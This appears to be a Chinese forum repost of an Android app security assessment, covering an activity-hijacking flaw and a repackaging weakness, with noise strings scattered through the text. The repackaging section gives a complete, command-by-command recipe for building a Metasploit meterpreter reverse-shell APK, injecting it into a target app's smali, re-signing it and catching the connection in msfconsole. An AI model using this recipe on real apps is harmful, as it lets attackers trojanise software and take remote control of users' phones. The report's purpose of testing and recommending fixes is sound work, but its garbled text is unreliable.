- a7 L! j" S# p+ V5 q, n 4 j; r/ ?4 ?0 a* ?   : _5 K9 Z1 {. q 6 |8 M" x+ t; q

" p3 C: v4 |: P0 M# s3 ]% ^ 2 x* V' E2 F3 `) ~; x7 U

/ c% c+ U* W# G& q: j & M: B6 s! L. M9 R$ b( T 2 检测结果                    " ]0 Q, g' B! m( k9 U. I 2 b4 c! y2 x2 S( o& ^3 `1 H" r! j

9 y. y2 X5 L. p, B; Y ) `+ W- H; G( {. R H ?2 M+ J/ d

2 [2 _+ [3 f2 T8 P. `9 N1 k3 Z0 ]2 h+ I9 e( d 2.1 某某某 . t" P" {; D$ W" u' ^( n6 |& k+ L - H3 @6 ?+ `6 h9 ]; `( o8 c

1 o+ j2 F) s+ H& {" r $ J3 N* o9 c/ q! w! U

% P; N: X% T) f & A# s+ r& R9 H" C8 y0 ` 2.1.1检测目标 8 g0 E9 q3 @4 g* f" i8 \ , Y5 a1 n! x8 K6 f0 Y6 Q

* {' y( p8 V/ W) r& }9 m1 R/ _. G9 j& u& c, N( M0 D

7 F, F% X8 C) C1 A ' K# i7 D0 T% J% r S o2 e 目标地址: 某某某某某某APP , [6 n: v2 q" A1 p . _" O) z6 P' {! J4 r4 t# }& d+ W

7 [- q8 M! d$ m/ P$ d 9 M: z, d8 f# m

5 T. N; m+ {1 q @4 t: q* s0 G 8 |& |3 T# l# B5 Y/ | 2.1.2检测结果 0 Y* H5 c! r( y2 g5 @" |4 a( R- ^1 E5 |: ?

+ @! ?/ \2 o6 e2 I2 s. c+ B ' w: |4 ^3 c7 I- w+ s1 a

7 A2 d% V0 j* I+ M 3 A, c _" r. x$ x/ I, q; Q0 C 2.1.2.1 4 O W7 Z) n4 R! W : e; x; L' `$ B, K8 w

8 b# l f$ L: V) z9 j+ x2 n( p/ L$ ? 3 v: q# c0 }- T

" T! l, K* [( _( `5 k# J) y4 G- ? - |6 {8 l2 t5 r5 j 漏洞链接地址:某某某某某某APP + k- j6 d; V6 E y, L0 f% a# j4 Z. n' q) `

5 C, F) \! Z* O& a " T! h1 d% z( b

/ E" D/ \& a1 k3 o/ q. G; Z* {7 H) K" S# H; w) Q# s: O! N+ }   0 {$ D% i! l1 _9 Y6 x9 M' Q 0 U m+ w% e3 D1 g& G

( v9 v9 |/ ^4 v3 z) B! [; A# V : x1 X( _" y. `, h$ l& i+ d

+ s8 x- K% f: _6 i4 X 2 {5 O. Y* }2 H8 ]0 f' A5 A- X 漏洞分析及取证: 7 a$ P+ ]) b- h# k7 Q; H& l% q {! V+ L b7 B0 ~: G0 g4 t

' ?" f+ @0 ]- C4 P$ Z6 \ # S$ F, G. ~# o+ X

7 t3 c) c& l' H; `# v. V7 E o8 y) r1 `, f7 g/ K# Y                  通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 0 _2 D I y( A: T+ L/ f & c# S/ }7 l, w+ t

( h' x& Q6 e$ K. U: t) n# a 6 w4 n+ _% b i0 i7 c# o+ @- Q

/ _6 X) a: c* w6 F, f. h ; e+ r7 R. [, I# G: m2 j      , I: l# J; \; J1 X1 c I/ Z2 x 0 D0 u ~" i/ @) F* s& T

+ p8 q0 g/ r% N* @- d0 N! r* \ 8 P8 C4 o" Q( R5 a* N# N: ]0 R1 \9 X

3 _& s- ]* o6 a2 B' ~4 J0 W# u0 m7 Z                       + a& [8 q: N: ^4 l/ v% `6 S7 @) e . b* e: }3 [- u' S9 M- H

/ w. r# t6 b; G# l( B( [. R" \ ' N: C0 [* }4 A8 a# M! s3 Y

( X5 V+ K; P& ]8 q" N% }! t; l " @6 Q4 B. o4 S* W8 q9 z/ ] . h* O' |+ _1 y1 w9 h: Q- f/ s7 p 2 {" S5 E" r+ S' S

0 `% O+ W$ [- h8 @2 {5 h7 l, Z; n; Y) [8 x4 P) c7 Z4 _

2 _0 z1 [9 k# l: q" q& T6 z 1 B# k. x3 i0 } . z3 b6 `& L+ v, D) i$ X4 | ]) T- y( e9 O2 g8 C/ \+ O6 t" R

) k7 B4 b. G4 p! i8 M# j% M # M7 L/ y. f+ P. ~

# L, A3 N. q$ L9 h+ }5 B2 d. ~8 m ) b. v/ t; w% b0 [/ e3 W- }' ~ 1 @5 A& l- q9 j% b( W 6 e: l$ Q" X c) `

3 z# Q% z- Y/ }6 y7 r 5 K, A1 r, q2 I' u; D/ b

" h* {1 B$ R* v4 ^8 i4 ?3 @0 k8 f5 m# G9 T, H. A! ~$ L. l0 d7 g+ m 漏洞危害:高 / a2 D3 ^5 p; \& G7 z 2 i' }% `4 c- k9 F3 T, i

6 T/ l* F# ]; B% [1 T, M; R ! d8 E( o' ^- o- M# ?
7 q& F% x; h% P; O% I % E) b5 t3 o9 X1 g # `/ p& o' |/ E6 d) F. P0 i2 \$ O* B, L5 S7 }! _4 H* t5 v8 ^# z' r4 f; q' r* I) f9 K, J0 o3 j4 |' s' e1 V1 [4 G7 d! y! Z2 h6 M) b% l: a& G! f) {$ j: q4 q( b/ ]. A& E8 I% O/ {! r; q6 j; Q3 j$ t. W! ^& j" B+ M! _/ ~3 a; A7 G/ k! \5 k M5 Z+ N! c, C4 h) g! L9 C3 m9 \6 [' L, b5 p$ c9 V# V d& Z5 Z2 E) b* R8 \1 z. v* |7 g* m3 n' L8 L9 Z! o1 Q% @4 s# o& ^# C9 Q6 [0 R& b, g1 y) U, I" h) P0 B t+ k3 m" l' ?2 R V! S( Q% c6 r% z, M# f$ ?" C' h* C3 ~+ n) W; I; M& _: d7 X6 h/ G6 v# O% x) v) [" P3 O8 C( g8 k) }- z, d/ s: K) {! f- j, |$ H3 @- ~! C0 H/ l/ @9 X5 d7 G8 e. g& n- ?4 m! B' H0 ]. {: A0 P# ?9 W- R
$ @" a; M6 S- V g; Q8 s i0 l/ w* M3 N

; d* E* D9 k! B 8 x+ ~1 q+ i& Z: Z7 G* v- ]/ E% E 严重程度 ' F. `( T& A" B6 v 4 m# d' ^4 J a

! q1 D+ G5 J; @$ g1 W8 V3 g9 m! _7 u+ C* v8 I0 N1 ^) p H
/ ]" s* H( }. H8 h8 j$ I 4 Z. r; F; ?2 a) W

1 K( B. l7 z: R5 {; _& r ' S( g! N. P+ {1 P 高 6 S. n8 b2 l* E8 Y$ E3 w5 @+ x$ B# ?" F4 a% a1 F4 k8 x

3 F u) z" \3 H6 T1 [& O9 ]3 }% x $ d, k7 q6 f0 m
/ Y* F! |% B6 M2 d( D5 n) z2 v3 u " C* I/ t4 ?/ s& Y2 K0 A

; R c/ Y- Y$ R& @; @6 d( I5 W0 D6 h) X1 _/ h/ j, p ■ 6 F/ e7 {( I4 M9 Q4 Z% d: r 8 u9 T! ?; h# d" K9 k

; _4 M) N6 R" ~+ d0 p & n( ^1 k$ X' x w2 [6 o6 t T
0 c3 r( l: d6 b, u ; w& g4 ^, L- `. H; h+ [9 H9 u5 r

4 W# i* `4 K4 @( n) o6 R+ d: X1 e. j/ `! r* W+ t! Y k" f 中 , N$ w' t+ J, R5 U' C, X# c4 x# k. J ; @- f+ u" |3 I' U, Q& ]7 Y# j

; Z2 G! o* I3 t6 J6 S2 k: v3 V1 |9 g7 h
, q9 l2 g7 p3 D& { {9 ?, l" x, |1 g G) t' W% Y

# V6 m% \6 y' z1 M2 x1 D) b 1 {/ W! v9 P! J& h$ G( t   8 i0 A5 k/ I7 P u; Z% e( I& n3 N 2 x7 l, X) o& k1 m: b4 H

) Z# C& I" g+ O: G ' L6 j+ ^% T! a* |$ T4 j5 ]4 H
1 U4 l& H1 C. p # f b! d9 P$ o4 g. o* R) r( m

* x( }9 V' }5 s a* z% P7 V1 f, W7 _ ) p9 P; F& M, X 低 * v7 v$ D- p% K5 T: O! t: b" [+ W( s' B5 o) L3 u. s

. z; k4 [. _. y% C! K4 t 2 N* O: h' d' {/ ?/ p& G
$ s* n9 \3 E, j+ [7 i4 P) @, Q% P4 ^! Y# p# {

t% i& q! ^' j$ q! B ( j/ j0 k* a0 j% f% @   $ j# j& I$ c; ?8 w. p/ N b1 \( \

+ q ?2 C4 \7 \1 c: e8 \( q 3 O1 c2 x9 t6 `# Z
+ E& Y/ v9 f% U0 V- Q* w7 i1 I/ t+ m; a3 z X- O
; H; C# P& ~& i5 |+ [ " T7 J3 @6 S8 o7 P! }

- U+ b) R. V+ x0 @: {8 ` 3 H: Z" Z d r. g( Z% d' K/ B   ! }1 {5 M- c2 t+ Z* n" |" s3 b/ p3 [. c" h& S

8 A' F2 d8 [' v8 R& {) J; Y - p- Q, v0 G, y2 s5 f

1 T/ d7 |! k/ M3 N: R, w* M, D8 K [: ~3 o" k8 c9 p3 u: g X 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 7 g) J+ ?) W' ^: s( J 2 k/ ]; N9 A! I, E; q

9 b6 \8 y- T8 A6 L4 d! B# x% r+ h8 N- N0 l, U

$ W+ ?8 C3 k1 |) O1 b, w" |, Y! ^ ' M1 ^4 }( O% P% y8 b           9 O6 [. ?. b" P4 @+ Z' e 7 A3 j% f3 p6 V) s' n& |6 n) W

% C; p$ Q# q- J# k 8 ]( j" k1 P' O9 I3 y5 f! K' f

6 ^, d1 W% C- E7 y : j7 a8 e0 X' r( A' U, w' L+ K( m   3 K2 w0 |# p! N2 X& U9 c$ ?" ]# b0 P& h7 I4 D3 Y) G

! E5 K! _2 W" U. L' c# X% M; C. k! I i: Q$ B i( v

# b- c$ T. I+ l4 [# e$ I( H ; J" ?# X B5 k/ o 2.1.2.2 7 Z: i+ u o) C% X9 _ ( h0 A5 Y6 Q" d* W9 z

Z o. k% N% N- W7 x. L 9 } b9 V4 t" o9 W5 [. W

, S% z y) i/ Q* w4 J / g! {$ t/ V0 I) P3 Z! d 漏洞链接地址:某某某某某某APP 2 } Q2 {& c. [) l7 y ' Q7 b* i# r& `% S! {3 t+ i2 w

; M+ ~; x' c8 E) ~. ]/ j& c t; E$ L3 J# N3 l/ I

( d8 d; m# P3 ~7 ] ' Z" h( L0 ]7 B% k5 g7 h 漏洞分析及取证: 9 {# z/ p; D x) U, l# o- ?% K" i ( _ r/ T, I; p2 @1 @; a$ d' N

! }* q! F9 |2 ?) A9 V+ \; s: [! K2 l0 S8 E* U" z& v! X) Z3 x

; z& q; `7 f$ y2 N. q) N( [: n $ c& @+ @. q# T, n5 d                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 1 v& E- ?# R% G! h, y u7 w+ Y: w, d% _; O4 ~# k& y

3 g; d( B# w' s: V$ P7 C2 G4 E # x# Y; k' k6 L2 ~, |, W

& i* ^0 o: F, { 1 v+ F; Q# q2 ?7 @; L 用Metasploit 生成木马 apk 2 B1 ^. |9 ]$ z H" [! i% g$ N6 f$ t # S* N# W, v* e( B, p

; Q1 O' D& H& C / ?9 C% I6 t8 Z2 a

- w/ ]& q. ]- o3 [7 e1 L% K 8 K0 R' G8 ~& ?' {' j1 V msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 5 z7 K/ X, b8 Y* I7 h 5 t3 a9 f4 X) f0 Z$ z6 Q4 x

: u# Z) q4 A9 g. a; b( z6 z 6 N# v! Q- E- l) u, g k

% H2 W9 a! R( P7 n 8 V6 F. J9 Q& t 反编译目标apk和木马apk 1 c9 O* J; E; K2 k W% q7 K3 \) B' C c+ P5 U0 Y' u

) v8 B5 E* s$ N% Z0 g7 K * A% f2 Y/ k* B2 W- [. y2 x

+ u, N* ^; b4 P2 @ 2 w# H+ e, c9 d' W& c$ e apktool d target.apk
- W0 y/ i- x. Y' r- U . V% Q# j6 k; Z1 U# m4 T, i- I! R apktool d cockhorse.apk
8 n2 u8 H# X5 h) Z8 w. C% _- i9 ^4 U+ r, Q1 p3 o" `

9 |. I! ~7 e8 ]; e" P# g2 t6 Q6 N, N ) X* a1 X" Q- G) s# G; n5 V

: y( Z' l1 X: o1 O j: B0 r) A1 ~: S% S 木马 apk 注入目标 apk , K+ X0 V: L6 Q9 E 6 x5 Z. ?9 w' L' L; l8 Z/ U

2 v, x, D8 e1 v N* ?: b $ L2 P$ b+ u3 S% G9 a

1 R1 ^' U5 U. I3 }6 l; O' H3 `; x9 `+ { 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
* G: d2 W/ m8 t5 ]; E& Q& F9 c, M1 P invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
0 ^3 T: n$ {9 G6 @ 0 b. n+ l4 m" V0 z2 F* ^

+ G- t" P# F Y - x& k5 g( x3 O$ i8 d( v% q% w

' B0 z2 S! h9 Q8 J$ z 5 k _, j1 {8 q6 o! m 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 9 z# _. d$ Q1 F" l9 I0 m" Q2 Y/ q9 T( P1 h & ^1 `2 l9 U6 Z6 e3 k

+ f a6 c" b, _7 f; E* U4 `6 q) ~+ Y3 k8 Q; Q# D

$ U8 i& a9 W$ R: a3 R 1 m/ z+ k9 ]. e( I 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 9 V% D9 {4 d8 g$ F" n! I% U! g/ _ ) g) n& \+ J3 v) O4 a

e$ k4 r4 m" g# d& g + Q. o8 Y, Z0 b$ _: I* h! E* ~# s

0 V% W% C9 ]* ^9 [ ! Z) e7 x" p* I- J+ A 回编译生成最终 apk 7 w1 H% b" Q4 n9 J" y4 e- ^ % K* M5 ~1 v) i" A, m

P4 K9 F# U: i4 A, K6 u/ d% y& b% a# R# D

3 S9 _9 _/ z0 R* }( a; q+ ^ 5 _, V. e# [" L. J& X+ H: _; B 重新打包 ; L( S8 N7 ?- B' x d1 T9 _3 D7 L, i

! W( Q/ V0 D1 K) P2 D' P1 M1 O8 x7 J' p

& R& [% B' g+ f+ h j0 G* ? ) c+ R; B* L0 s' e9 m, F! I- ? apktool b -o repackage.apk target_app_floder 4 `: c( W. ]5 x3 y% d 8 _, g( p6 W0 [, a

9 h2 H6 l w5 B9 ]/ y- u# g5 T5 y/ T2 H& h2 |

9 |, l! ?& m4 { 5 c1 Q" R! N K. J3 d 创建签名文件,有的话可忽略此步骤 3 a" o9 A1 ?0 C; f+ f 9 Q, v- {9 `' }

) S2 f4 O8 b9 O" F- L # |9 D5 l$ a% K2 D4 C

9 G0 j3 V5 @+ D* E8 \ ' B$ j: ^1 v+ u0 R keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                / \, e, H) [" B) w1 \. [0 _ 2 G2 ~# Q) {/ v3 X% n

% l D; I! F: O7 R$ c6 n- h 0 a! ~9 u: _8 e3 n( f

1 ^. ]& }! f3 F: d9 Q% u& B7 N " L4 ~5 Y, O% Y" ^$ j4 _ 签名,以下任选其一 s+ B2 o% H, g+ o( ^% M( D 9 H- m" T, S* y' w

; R5 H6 h$ `3 { Q 6 H! c+ X4 R7 J# @5 F' P$ c; j

6 C) t9 }# n% }6 w4 B + C, W/ G: _7 e$ C8 f5 ?( Z jarsigner 方式 5 v; b3 S+ N' l1 l & Q, G3 X" @& s" K8 a/ O

, _( {" `9 U% [8 |$ U7 u2 M ! a% i, e* B$ b4 f

. s {+ m$ g- [1 C1 B 4 i$ {* `, W" }7 x6 J jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 0 \4 w1 |4 c+ [( d0 z5 N7 z 9 {4 G$ R* @' s5 E: t7 B4 w

( _0 X; F) e3 p: L% i$ `: h r + g$ \% ?" \4 z6 e) q9 C

$ C0 i! H4 I9 {$ v6 f: G( o : C4 Y; V# n; K1 B4 r3 W$ q apksigner 方式 - d4 ^3 f; v& B& Q9 t 1 H p: O- }. R, X3 `, R

+ K2 u, @ o( n& h$ w* F/ [7 c' n! s! p$ l% u; y

' H6 f5 S- c3 e$ a$ p, B& G% ~/ s a0 ^3 m8 R$ R$ U apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk / p+ t3 P! k& X M D& c" w' S 4 r6 W: L/ _- \, j9 I

5 \2 D6 X: i$ v* \ 6 G0 h, o/ c! f) f( h; {# q' p U

$ m' O t$ J, j9 m! t/ ^6 e * q1 n' G4 R C; l) O5 f 如需要禁用 v2签名 添加选项--v2-signing-enabled false 0 C" w$ Q2 }/ W; }0 z ( _: n4 W1 Z1 L, a

; K) l# S+ D% }+ e6 U ! L: `) v3 M& _6 o

9 x) f2 x7 w( j/ x7 x! v! m0 o/ z K' s" i 验证,以下任选其一 8 u' ?7 `- `; F! I. o4 d4 w 9 e4 ~+ u8 ]. b' J2 G

+ ~1 Z- [6 C4 m1 S8 g( I+ L& W2 Z % Q+ y6 g e" c2 H {" r: z

* S- X8 M6 ~% a( C' y ! J* h9 }. `! B F jarsigner方式 ; P2 f0 v* ?2 i' `( n : Y' J( b+ d( S" h5 }0 B; n

0 P9 P, ^) R8 v8 O% @) D7 H9 P) F0 p* B4 a" q" h4 o

9 A6 L3 i: ]% x8 ^4 N. f. n% o3 l - R& A+ N; V* y! q( w jarsigner -verify repackaged.apk 4 w' h& y! d& h% `2 K$ x, d7 \8 G& q4 {- i+ a6 a9 c' h

! H; P9 `2 ] c' E; p " @# v6 w1 I3 {

' t- W* X5 o+ a2 N6 p/ o8 X! C$ b' o' L! z; Q" e0 \ apksigner 方式 * q' v# s9 P* d d" j: i 2 A9 y$ G! p# m' ?

) m. @+ O5 i& Q ~& Y: ] , \1 {1 s' |3 s" U, M' n/ o( q

6 ?2 z. u! ^' e- M9 z6 e; c0 n1 Q+ a7 I1 u apksigner verify -v --print-certs repackaged.apk : n* O I- h. _" _+ r * L" y2 w4 P" z* _

, C" v" ~; O' c' A$ H1 a . W/ t% P; `2 |4 V- I1 J/ U( W

0 W, e; t: R, l/ w; u - I) e- p5 \+ }# a% A2 s5 d: j/ O3 J keytool方式 * m% T( C% Z2 I! U$ K ~2 Q; _; c, R6 ~

) Y' S6 M3 U: G4 ~* j4 U % n6 R& s2 ^0 \ J" P h

% }3 O0 T+ [) f" A6 G0 h' } " L+ d- r- T" p- [: @ keytool -printcert -jarfile repackaged.apk $ L0 E- u4 M) E" m8 H 2 r9 P% K1 w8 L3 a- Q7 b

: o4 P) z8 k$ g* Z. I- ?3 J% l 2 _6 ^1 V7 X. F8 f. F: J

8 l3 J; V0 K. X" x$ J# x + m6 y& w# s( N% q 对齐 $ Q1 j1 t1 K# @3 Z3 P3 j: t ' F# C* l1 {( ^$ _& \

7 m3 g9 R) [8 L/ c! V & t5 g( W* r- `

" F& W7 g& Z+ N: e% E( }7 {: y' k- D! y( u9 s 字节对齐优化 / |% z4 Z9 k6 a' W& l" n# A. w6 r, ]# O1 A1 a1 A8 k8 C

, ?+ i: g, U7 c. }/ b- I0 X; X5 V

% [ U, q6 ]& z1 J/ P. e, k 5 ?0 p6 g) n- v! [ C4 i zipalign -v 4 repackaged.apk final.apk 1 T0 X6 P% `2 a( h( E! n j [; G$ f; @- [- L2 X1 c7 u, A

: [1 R/ m( u' Y! G4 s& ?, V% G 9 H/ e1 T" P( {% b) O$ C' r

; b# x3 y4 w4 V1 f9 [ 3 c( I( K2 }; I6 L" _ 检查是否对齐 2 P6 W: k* n3 `* F# Z# w* q/ S/ U" I$ \

. h+ f2 c: p3 Y1 _- J * `0 j" z0 d0 ^

; H* K- l0 J+ ~, B7 B1 p ; w. ~: \- G @6 a! R9 m zipalign -c -v 4 final.apk 7 k0 t' {( |' W7 H" v " Q; W1 n% D: l

; e" P: |) V$ S* b/ L7 K6 H0 j # X4 i# u g; S. d) _+ E. }1 R9 z. u9 u

& l& y/ g8 Q0 p `7 J" y! G. c , d$ H( u% ~8 }% Z 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ; c1 e, k# M Q `! d) @ & ~; P$ j+ m8 n: Q

* H1 J3 J- X& `0 O' w 5 W& g0 W" g3 _; P! S* u

- t2 C6 e2 }+ |9 q; b* z + m5 {$ `6 T! O* T2 `+ G% X 启动Metasploit控制台,配置参数等待上线 ; ~( k' D1 L+ d- v f& q ) B, A) S" R) A# M s# h( c

/ A! d! D5 t6 X* N% F ) H/ l6 J2 d& b' F7 N# k1 o) b

2 R! u/ e% S% z" m, \: e " t3 ^$ y$ ^- _# B. G 在终端依次输入如下命令 $ U* p( C# X2 h# ]# U* A, e- N 2 I5 G2 T. \, b

) e2 t% z7 L' l, V9 m0 d 3 y' C9 c- M9 ~" f$ [

! P: K3 I, C1 a$ m 1 Q1 `, H. X" ], x6 a; f; K* \5 ] msfconsole 6 A# l* y: {5 M 0 E: j7 A) K" q& b! {9 X6 J

) m6 p3 _2 Z8 ? ) c; T/ H8 s4 H% q, l. |$ ]

7 L" |: G, \; E6 _ ] . R; C3 Y8 n+ A' N" o3 k0 | use exploit/multi/handler & i( ?0 P" j* Q9 m 4 |/ z, ]# j! m% L

, ^9 v& J2 ]" }! h ) \% R$ t' q8 g" [# q

& y# z, F! r4 u& Y1 J) h ' D3 |, r- Z( C O set PAYLOAD android/meterpreter/reverse_tcp 3 |* d7 S6 D ] ]! _2 G* D: d0 d! A 9 W3 Q+ \2 y& J

* F- j0 B X. ]& _ 9 Z5 F% m& I) F) R, q/ n, p

) k! e/ q5 k) ` 6 M# V, n$ r7 e. t* C" y set LHOST 192.xxx.xx.xx 3 z i9 R4 m1 P5 q. `9 {* b7 \- Q2 e: F5 D [

/ i6 U* [2 A% `0 W+ W- g! X3 N - n+ H& [0 ]5 {$ T* P+ F

( h4 j# ^% _7 b A 9 ]" U- W; K3 k4 N3 `- h; _7 u& M set LPORT 4444 . [$ Y: I) c% H& Z1 B6 D$ G) t1 v1 \0 \! v! _# J A$ {

9 G9 b, ^* o! A# Z% d; v : {) J6 K: \8 j' I

) x5 \# O4 A$ I+ V, v ' l; f: j) ]3 \( U6 z# ?; d exploit 3 R0 ^" G3 j0 a3 ` ?, M) x7 H2 E0 w* Z' i

7 s- Q L C& w' i+ Z$ T, h$ Q& Z! Q( L# e) G+ k7 Q

8 b# P, K1 ^, P3 `) |* l : a: y& @, N% W" b0 Z( t 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               # j3 k* a! ~! d% O1 J 6 h* Y0 f$ q5 J! |

, I' n# |0 c$ `. m) @ 1 p! c; H& W4 O2 @ w9 [5 _* B

6 ^& l. ]1 U, n2 N. u , s2 C' L4 {" v, `+ F3 ` 漏洞危害:中 3 h% a Q& H2 X) b4 L2 F: L 9 m: i! E: B: K

3 y( t* f1 k# f! E: x+ r0 P) r( r/ F g# _( _- z* T1 `% k6 v3 @
% v" h7 {9 w6 V+ v6 w E8 @! i( g2 D7 D- h4 P' L 0 V- D5 h; F) q9 H1 F9 d + I5 a7 }' H! w) F3 N; e# d& M3 [3 ~3 \ ) d, Z4 a7 `% l$ d3 p1 L' k' S% f0 P9 |0 k% ` Q/ M$ T$ H J$ P \- x0 d0 z+ Q; N- W7 C# L* F2 d( g3 y+ J+ [# B& K4 y9 l( [" ]( T3 D" V- h D3 d/ p" K- U M, F$ Q/ z7 |& k0 ` S: d2 P. d5 S/ I; ~( ?. D4 c& Q7 S, u4 M9 P# W! z6 N4 F8 t& L6 l5 r9 p# g8 x* T3 o3 }3 n7 w% ?1 p5 T) ?; e# |" e& A9 x' ^$ H5 b1 a4 @1 c- f1 j% n9 |6 D. d- u4 b8 f/ V0 A: C- M8 m8 @: A b0 ?' E& n5 P% W* E, ]: w h1 q% s# H6 i7 ]0 |) z% `1 t/ U1 E4 y. D3 h" Q; B. N2 v) z" b+ p P7 F1 l: M# n& I- k2 o% k }: h4 _2 I) U5 C6 r" P+ {0 ^' J9 v) e, N! ^) u7 }" Y" j. [
( x: \8 o3 X2 N. Z! |( {- K- ~/ ^! J2 t

% A" w8 a- K2 G9 E o0 \( w5 }8 q' C 1 e7 j7 k; H# V1 p% T" `( B 严重程度 7 V ]1 j8 P$ o9 C+ G2 o$ ~6 B r8 b/ o' C% Q9 |

: B5 G7 G8 K2 s & X& W; d. k; i9 \: Z0 G
" \# g$ V6 d U: a+ z d: H* i j9 h5 J6 r3 r/ |; x$ Y1 P

8 X( l$ W6 _* _7 ^9 M% }- a6 l" `+ p2 N 高 ' T9 ^% D# p4 t+ T$ s 4 @4 F: }+ K4 m: S% K7 l

5 J: v( F" a! J' ~% D o5 C- ~/ C# }8 j- z% O+ ^5 q
2 |$ \% x$ ^( z6 C / e: p; X% h; R4 W# ]7 I

% A5 d3 d ~; Y, c , }) c0 @+ v: \0 `5 Y ■ ' j1 i" M" J {% k, k6 r 7 {! x4 A1 G2 ^6 e, ]

0 r, V! M/ X6 B% S) t6 N0 b" S# Y 3 K) g I) B" p
' }0 b$ M1 d8 u; W' p + v7 u! L+ U+ a! {' e: B

0 C, A% S2 Z& n9 b3 g0 O ! k |7 Y9 f% i2 f" d3 L/ G. u' [2 O 中 , I1 X- ?8 ]1 b5 J. h5 J6 l 5 e, ^+ e2 X' x" n

' h, t# k8 X6 L7 l+ y% c' C& L \
0 f+ h- s" J% d3 U# c; t4 K& p9 B+ s$ N: o$ V. ~8 ` # y/ H7 W, i, [2 e ' x9 z$ u1 i8 m8 Z9 u! s

3 ~) ^8 X6 @ x- k1 O2 }* m6 M* g5 `- I8 n   # S+ {. [) l$ p \, ]; E, c! M

0 A. E3 m1 c" c a' T" ?5 F$ F' b+ q- E0 |/ D( j
( J% e3 c$ C1 |4 [% U6 t- o! i+ C- V- o; W

5 K. y2 ]) s+ V2 ]3 l1 B1 R+ O9 A: y: f 1 Q; _( U$ a5 i& i 低 l! d: D% ~3 m 4 g5 H0 N7 T1 {( a- I* q( P; z

3 f- T; A$ }9 `2 M e7 [" v1 H% z9 T 4 F7 B8 ~/ y( V& {( }
" y: X+ Q0 [; b9 D) `) Y1 ` 5 \" N' F3 J: ^ 3 M0 y4 I* `' S+ l/ s, A5 o2 C ~ - q8 p, o; n2 j- N

6 ]+ Z5 l2 f' j6 } 2 i# ]# w( q) r   ' \6 v: y4 \0 {" D$ n 5 i% a: d3 j- ^# G1 V0 M, i1 F f/ |

% [# E8 t/ w) _$ P ( m4 Z! I8 ]4 G" \
0 I% u" }# |% o0 _ 4 H& r- ~8 z1 w2 |
$ B6 I0 {/ D) _+ ^/ P6 r% ~: ]# B7 f 2 R' ?9 t+ \& j/ h$ i

# @; t9 t/ W& k) C( e! M& P% J ( h3 p n, \! z7 U6 z2 K" j   4 L7 `! ? t) E0 ^# D ' R" [1 M! ~ J5 f* n" N

; V$ R" c/ P4 |$ @* ?: E; x% i9 F% ? 2 C, O0 w7 E* E9 F& D

- y: P. n d/ A ; l* M( a% z$ C1 Z, W, M( U 修复方法: . D; p. l8 F; v# Q9 W + p, t9 M; \% k+ V& k, \9 {

" J. `0 S. P2 j$ t' s: {0 ?0 g6 j! z+ }) e

2 L* e& k$ y" r* S / R2 |: ]$ V1 i/ Q               1.在 APP 启动时应做签名校验防止二次打包。
; v0 S5 p- ~0 Z$ D/ q 2 L6 a- b4 ?+ |) a) T 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ; z( `3 A1 |9 a# S; j: j . `7 j0 N# _) B' n; F

0 r8 `: [$ V, G; s % H% M: B* Y! C " R% z+ |$ ?0 S( M' ?( s; t1 U! f; V % s6 k5 n6 v: d" q, s" q

; S6 N7 G6 P" G9 V% s7 {# X , y/ c8 r5 Y& c% T* w# M   ' M2 B1 V* l! R& M6 G9 h( d% L ; ]1 N' w7 u, M8 e7 F: N/ V

9 x5 s8 Y5 I3 f: d2 q 2 M, p0 g7 T0 m! p0 J+ F ! m$ B2 N1 T" i* F7 N & X0 j4 S' N6 C ^, O* G7 d( M

5 \2 k; T- X# T% N5 _ 5 i' W0 {8 `, C& e! q% M, A2 u
2 ~2 x% f1 p# x% C3 {1 M+ }& R2 Q- ` g( Q5 N* t3 T

: b0 A' B. U9 h Q2 u f9 ?2 R' ~" W9 |: T8 M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表